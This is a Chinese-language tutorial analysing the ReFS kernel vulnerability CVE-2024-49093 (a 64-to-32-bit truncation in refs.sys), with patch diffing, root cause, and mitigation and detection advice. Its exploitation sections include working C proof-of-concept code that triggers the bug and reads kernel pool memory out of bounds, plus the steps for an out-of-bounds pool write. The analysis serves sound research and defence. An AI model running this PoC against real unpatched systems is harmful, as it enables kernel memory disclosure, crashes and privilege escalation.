CVE-2024-49093:ReFS 文件系统内核漏洞分析与利用教学
1. 漏洞概述
CVE-2024-49093 是 Microsoft Resilient File System (ReFS) 中的一个内核漏洞,属于数值类型转换不当(CWE-681)类别。该漏洞存在于 refs.sys 驱动中,允许攻击者通过特制的文件操作实现内核池的越界读取和写入,可能进一步导致权限提升或系统崩溃。
受影响版本:Windows 11 24H2 (Build 26100) 至 26100.2454
已修复版本:KB5048667 补丁(Build 26100.2605 及更高版本)
2. 背景知识:ReFS 基础
2.1 ReFS 核心特性
- 弹性文件系统 (Resilient File System):Microsoft 开发的现代文件系统,专注于数据可用性、大规模数据扩展性和完整性。
- 写时复制 (Copy-on-Write, COW):数据更新时不就地修改,而是创建新副本,旧数据保持不变直至新数据提交。
- B+ 树结构:内部使用称为 "MinStore B+" 的 B+ 树变种组织大多数对象(键值表形式)。
2.2 常驻 vs 非常驻属性
- 常驻属性 (Resident):当文件属性(如数据、ACL等)较小时可内联存储在记录中。
- 非常驻属性 (Non-resident):较大属性由 VCN→LCN 运行列表(runlist)描述其在磁盘上的范围。
- 常驻阈值:默认约为 2 KiB(0x800 字节),超过此值将触发从常驻到非常驻的转换。
3. 漏洞定位与成因
3.1 补丁分析
通过对比补丁前后 refs.sys 版本(26100.2454 vs 26100.2605),发现新增两个函数:
Feature_4213557561__private_IsEnabledDeviceUsageNoInline()(WIL风格特性开关)RefsAddAllocationForResidentWrite()(受开关管控的函数)
3.2 漏洞根因
在 RefsAddAllocationForResidentWrite 函数中,存在64位到32位的错误截断:
有补丁分支(正确):
QuadPart = ranges->end.QuadPart; // 使用64位值
v23.AllocationSize.QuadPart = QuadPart;
v23.FileSize.QuadPart = QuadPart;
无补丁分支(存在漏洞):
LowPart = ranges->end.LowPart; // 错误地使用低32位
v23.AllocationSize.QuadPart = LowPart; // 截断赋值
v23.FileSize.QuadPart = LowPart;
当写入操作的末端位置(offset + size)超过 4GiB 时,高32位被丢弃,仅低32位用于后续的常驻阈值检查和文件尺寸更新。
4. 漏洞利用详解
4.1 利用条件
要触发此漏洞,需要满足两个关键条件:
- 写入末端跨4GiB边界:
(offset + size)的高32位不为零 - 低32位小于常驻阈值:
(offset + size) & 0xFFFFFFFF < 0x800
4.2 PoC 代码示例
HANDLE h = CreateFileW(
L"R:\\exploit_file",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING, // 非缓存I/O
NULL);
DWORD written = 0;
BYTE buffer[0x200];
OVERLAPPED ov = {};
ov.Offset = 0; // 低32位
ov.OffsetHigh = 1; // 高32位=1,使写入末端 > 4GiB
WriteFile(h, buffer, sizeof(buffer), &written, &ov);
4.3 不一致状态创建
成功执行后,文件处于不一致状态:
- AllocationSize = 0x200 (实际分配大小)
- FileSize/EndOfFile = 0x100000200 (声明的文件大小)
这种 AllocationSize ≪≪ FileSize 的不一致是后续利用的基础。
5. 越界读 (OOB Read) 利用
5.1 利用原理
当读取长度超过实际分配大小时,RefsNonCachedResidentRead 函数:
- 通过
MsFindRow在 MinStore B+ 表中查找常驻属性记录 - 使用
CmsRowWithBuffer::CopyRow将记录复制到内核池缓冲区 - 执行
memmove(user_buffer, kernel_buffer, read_length)将数据复制到用户空间
由于内核池缓冲区实际大小仅为 0x200-0x600 字节,但读取长度可达 0x1000,导致复制时读取池缓冲区之后的数据。
5.2 越界读示例
// 续前PoC代码
DWORD readBytes = 0x1000;
BYTE* readBuffer = (BYTE*)VirtualAlloc(NULL, readBytes, MEM_COMMIT, PAGE_READWRITE);
DWORD bytesRead = 0;
OVERLAPPED readOv = {};
readOv.Offset = 0;
readOv.OffsetHigh = 0;
ReadFile(h, readBuffer, readBytes, &bytesRead, &readOv);
// 此时 readBuffer[0x200] 之后包含内核池数据
6. 越界写 (OOB Write) 利用
6.1 利用原理
越界写需要更复杂的操作链:
- 首次写入:写入 0x200 字节数据(保持常驻)
- 触发漏洞:通过漏洞将
AllocationSize截断为 0 - 再次写入:写入较大数据(如 0x700),触发
RefsConvertToNonResident - 转换过程:
- 计算目标大小:
allocate_size = 0(因 AllocationSize=0) - 分配池内存:仅分配最小块(0x20 字节)
- 数据迁移:将原始数据(0x200-0x700 字节)复制到小缓冲区
- 计算目标大小:
6.2 关键函数调用栈
RefsConvertToNonResident
→ RefsInitializeScbAttributeKey
→ MsUpdateMetaRow
→ CmsBPlusTable::UpdateInIndex
6.3 越界写效果
最终在仅 0x20 字节的池缓冲区上执行最多 0x7F0 字节的写入,实现内核池越界写。
7. 技术细节深度分析
7.1 关键数据结构
struct READ_RANGE {
LARGE_INTEGER offset; // 写入偏移
LARGE_INTEGER end; // 写入末端 (offset + size)
LARGE_INTEGER size; // 写入长度
};
struct CmsRowWithBuffer {
_CmsRow row; // 键值行
BYTE* storage; // 存储指针
INT8 flags; // 标志位
INT32 capacity; // 容量
INT8 inline_storage[32]; // 内联存储
};
7.2 池分配机制
在 CmsRowWithBuffer::CopyRow 中:
if (required_size > cmsBuffer->capacity) {
new_size = 8 * ((required_size + 7) / 8); // 8字节对齐
new_pool = ExAllocatePoolWithTag(PagedPool, new_size, 'iPSM');
// ... 替换 storage 指针
}
漏洞利用中,此机制被用于分配不匹配的缓冲区大小。
7.3 常驻阈值检查
修复前的错误检查:
// 错误:仅使用低32位进行阈值检查
if (LowPart >= 0x800) {
RefsConvertToNonResident(...);
}
8. 漏洞修复方案
微软通过特性开关而非直接修改逻辑的方式修复:
- 添加
Feature_4213557561__private_IsEnabledDeviceUsageNoInline()检测 - 在启用新特性时使用正确的64位比较:
if (ranges->end.QuadPart > 0x20000) // 使用完整64位值 - 确保始终使用
QuadPart而非LowPart进行大小比较和赋值
9. 缓解措施与检测建议
9.1 临时缓解
- 禁用 ReFS 文件系统(如无需使用)
- 启用驱动保护(但可能影响PoC测试)
9.2 检测指标
- 异常文件操作:创建大量末端 >4GiB 但内容很小的文件
- 特定错误代码:0xC0000427、0xC00000BB、0xC00000D8
- 内核池分配标签:'iPSM' 异常分配模式
10. 总结与启示
CVE-2024-49093 展示了内核开发中数值类型处理的重要性:
- 始终使用适当位宽:在可能超过32位的场景中坚持使用64位运算
- 防御性编程:对来自用户空间的数据进行严格验证
- COW文件系统复杂性:写时复制机制增加了状态管理复杂度
- 分层修复策略:特性开关允许可控的修复回滚
此漏洞需要结合池风水、对象布局等高级利用技术才能实现稳定利用,但基本原理已为内核安全研究提供了重要参考。
参考文献
- Microsoft Security Guidance: CVE-2024-49093
- ReFS Documentation: https://github.com/libyal/libfsrefs
- Windows Internals, 7th Edition, Microsoft Press
- Winbindex: https://winbindex.m417z.com/